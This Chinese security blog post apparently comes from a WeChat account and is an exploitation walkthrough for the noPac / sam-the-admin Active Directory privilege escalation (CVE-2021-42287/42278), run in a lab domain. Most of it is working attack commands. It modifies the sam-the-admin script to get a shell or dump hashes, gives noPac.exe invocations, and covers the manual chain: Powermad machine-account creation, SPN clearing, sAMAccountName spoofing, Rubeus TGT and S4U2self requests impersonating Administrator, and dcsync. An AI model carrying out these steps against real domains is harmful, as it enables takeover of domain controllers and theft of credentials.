微信公众:信安文摘
环境介绍
域:god.org
windows 7
192.168.52.143
机器名称:stu1
域内普通用户:liukaifeng01:hongrisec@2021@
windows server 2008(DC)
192.168.52.138
机器名称:owa
域管用户:administrator:rihongsec@2021
sam-the-admin python利用脚本
https://github.com/WazeHell/sam-the-admin
目前脚本只能在kali环境下运行,Windows下运行错误如下:
python3 sam_the_admin.py "god/liukaifeng01:hongrisec@2021@" -dc-ip 192.168.52.138 -shell
旧版kali无smbexec可执行文件:
查看源码实际就是调用两个可执行文件:
fbinary = "/usr/bin/impacket-smbexec"
if options.dump:
fbinary = "/usr/bin/impacket-secretsdump"
getashell = f"KRB5CCNAME='{adminticket}' {fbinary} -target-ip {options.dc_ip} -dc-ip {options.dc_ip} -k -no-pass @'{dcfull}' "
os.system(getashell)
kali中存在这两个文件的py形式,/usr/local/bin/smbexec.py
和 /usr/local/bin/secretsdump.py
修改源码为如下:
fbinary = "python3 /usr/local/bin/smbexec.py"
if options.dump:
fbinary = "python3 /usr/local/bin/secretsdump.py"
getashell = f"KRB5CCNAME='{adminticket}' {fbinary} -target-ip {options.dc_ip} -dc-ip {options.dc_ip} -k -no-pass @'{dcfull}' "
os.system(getashell)
漏洞利用成功:
noPac利用脚本
建议先看下面的利用流程章节,再看本章。
项目地址:https://github.com/cube0x0/noPac
使用visual studio进行编译,编译成功后在目标机器运行报错:
查了下是目标 .NET 版本与编译时 .NET 版本问题,改成 .NET 4.0进行编译就没有问题了:
漏洞验证:
noPac.exe scan -domain god.org -user liukaifeng01 -pass "hongrisec@2021@"
利用漏洞生成文件服务票据并访问域控文件:
这个漏洞需要新建一个机器账户, -mAccount为新建机器账户名,-mPassword为密码
noPac.exe -domain god.org -user liukaifeng01 -pass "hongrisec@2021@" /dc owa.god.org /mAccount testpc /mPassword testpassword /service cifs /ptt
这里只生成了一个文件服务的票据,但是还是无法访问域控文件:
我又继续生成一个ldap服务的票据,成功访问文件服务:
同样可以dcsync:
利用流程
1. 查询MAQ值
powerhsell下:
import-module activedirectory
Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota
如果无法导入activedirectory模块,则说明powerhsell版本不够。
MachineAccountQuota默认为10,值为0意味着普通用户无法创建机器账户,也就无法直接利用这个漏洞。
2. 普通域用户创建机器账户并清除SPN
可以使用 impacket 的 addcomputer.py
或是 powermad
。
通过利用 powermad.ps1
新增机器帐号(MAQ=10,域用户默认可以新建10个机器账户)
下载地址:https://github.com/Kevin-Robertson/Powermad
在普通域机器powershell下执行:
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\Powermad.ps1
# 新建机器账户为 newpc,密码设置为hongrisec@2019
New-MachineAccount -MachineAccount newpc -Domain god.org -DomainController owa.god.org -Verbose
net group "domain computers" /domain
服务主体名称 (SPN) 是服务实例的唯一标识符。 Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。这允许客户端应用程序请求服务验证帐户,即使客户端没有帐户名称。
addcomputer.py
是利用SAMR协议创建机器账户,这个方法所创建的机器账户没有SPN,所以可以不用清除。
通过PowerView.ps1清除机器账户的servicePrincipalName属性
Import-Module .\PowerView.ps1
Set-DomainObject "CN=newpc,CN=Computers,DC=god,DC=org" -Clear 'serviceprincipalname' -Verbose
3. 重设机器名称
将机器账户的sAMAccountName,更改为DC的机器账户名字,注意后缀不带$
Set-MachineAccountAttribute -MachineAccount newpc -Value "owa" -Attribute samaccountname -Verbose
修改成功:
4. 为机器账户请求TGT
使用Rubeus请求tgt
项目地址:https://github.com/GhostPack/Rubeus
我使用visual studio 2017进行编译。编译时遇到c#版本问题,根据参考链接已解决。
Rubeus.exe asktgt /user:owa /password:hongrisec@2019 /domian:god.org /dc:owa.god.org /nowrap
5. 再次更改机器账户的sAMAccountName
将机器账户的sAMAccountName更改为其他名字,改回原来属性,或者其他的,不与步骤3重复即可。
Set-MachineAccountAttribute -MachineAccount newpc -Value "newpc2" -Attribute samaccountname -Verbose
6. 通过S4U2self协议向DC请求TGS票据
./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"ldap/owa.god.org" /dc:"owa.god.org" /ptt /ticket:上面获取到的tgt票据内容
成功获取TGS票据:
注意这里获取的是ldap服务的票据,所以我们可以dumphash,而不能访问文件服务:
重新生成一个票据,定义服务为cifs:
/altservice:"cifs/owa.god.org"
成功访问文件服务:
参考链接
只需要一个域用户即可拿到 DC 权限(CVE-2021-42287 and CVE-2021-42278)
错误 CS8107 C# 7.0 中不支持功能“xxxxxx”。请使用 7.1 或更高的语言版本。
Could not load type 'System.Runtime.CompilerServices.ExtensionAttribute' from assembly 'mscorlib
微信公众:信安文摘